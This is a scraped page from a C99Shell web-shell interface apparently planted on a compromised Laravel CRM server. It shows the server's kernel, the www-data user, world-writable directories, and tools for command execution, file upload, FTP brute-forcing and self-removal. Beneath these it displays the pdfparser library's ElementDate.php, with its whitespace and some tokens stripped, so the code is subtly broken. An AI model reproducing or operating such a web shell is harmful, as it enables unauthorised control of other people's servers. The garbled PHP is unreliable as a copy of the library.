!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/smalot/pdfparser/src/Smalot/PdfParser/Element/   drwxrwxrwx
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ElementDate.php (3.91 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @file
 *          This file is part of the PdfParser library.
 *
 * @author  Sébastien MALOT <sebastien@malot.fr>
 *
 * @date    2017-01-03
 *
 * @license LGPLv3
 *
 * @url     <https://github.com/smalot/pdfparser>
 *
 *  PdfParser is a pdf library written in PHPi, extraction oriented.
 *  Copyright (C) 2017 - Sébastien MALOT <sebastien@malot.fr>
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU Lesser General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public License
 *  along with this program.
 *  If not, see <http://www.pdfparser.org/sites/default/LICENSE.txt>.
 */

namespace Smalot\PdfParser\Element;

use 
Smalot\PdfParser\Document;

/**
 * Class ElementDate
 */
class ElementDate extends ElementString
{
    
/**
     * @var array<int,string>
     */
    
protected static $formats = [
        
=> 'Y',
        
=> 'Ym',
        
=> 'Ymd',
        
10 => 'YmdH',
        
12 => 'YmdHi',
        
14 => 'YmdHis',
        
15 => 'YmdHise',
        
17 => 'YmdHisO',
        
18 => 'YmdHisO',
        
19 => 'YmdHisO',
    ];

    
/**
     * @var string
     */
    
protected $format 'c';

    
/**
     * @var \DateTime
     */
    
protected $value;

    public function 
__construct($value)
    {
        if (!(
$value instanceof \DateTime)) {
            throw new 
\Exception('DateTime required.'); // FIXME: Sometimes strings are passed to this function
        
}

        
parent::__construct($value);
    }

    public function 
setFormat(string $format)
    {
        
$this->format $format;
    }

    public function 
equals($value): bool
    
{
        if (
$value instanceof \DateTime) {
            
$timestamp $value->getTimeStamp();
        } else {
            
$timestamp strtotime($value);
        }

        return 
$timestamp == $this->value->getTimeStamp();
    }

    public function 
__toString(): string
    
{
        return (string) 
$this->value->format($this->format);
    }

    
/**
     * @return bool|ElementDate
     */
    
public static function parse(string $content, ?Document $document nullint &$offset 0)
    {
        if (
preg_match('/^\s*\(D\:(?P<name>.*?)\)/s'$content$match)) {
            
$name $match['name'];
            
$name str_replace("'"''$name);
            
$date false;

            
// Smallest format : Y
            // Full format     : YmdHisP
            
if (preg_match('/^\d{4}(\d{2}(\d{2}(\d{2}(\d{2}(\d{2}(Z(\d{2,4})?|[\+-]?\d{2}(\d{2})?)?)?)?)?)?)?$/'$name)) {
                if (
$pos strpos($name'Z')) {
                    
$name substr($name0$pos 1);
                } elseif (
18 == \strlen($name) && preg_match('/[^\+-]0000$/'$name)) {
                    
$name substr($name0, -4).'+0000';
                }

                
$format self::$formats[\strlen($name)];
                
$date \DateTime::createFromFormat($format$name, new \DateTimeZone('UTC'));
            } else {
                
// special cases
                
if (preg_match('/^\d{1,2}-\d{1,2}-\d{4},?\s+\d{2}:\d{2}:\d{2}[\+-]\d{4}$/'$name)) {
                    
$name str_replace(','''$name);
                    
$format 'n-j-Y H:i:sO';
                    
$date \DateTime::createFromFormat($format$name, new \DateTimeZone('UTC'));
                }
            }

            if (!
$date) {
                return 
false;
            }

            
$offset += strpos($content'(D:') + \strlen($match['name']) + 4// 1 for '(D:' and ')'

            
return new self($date);
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--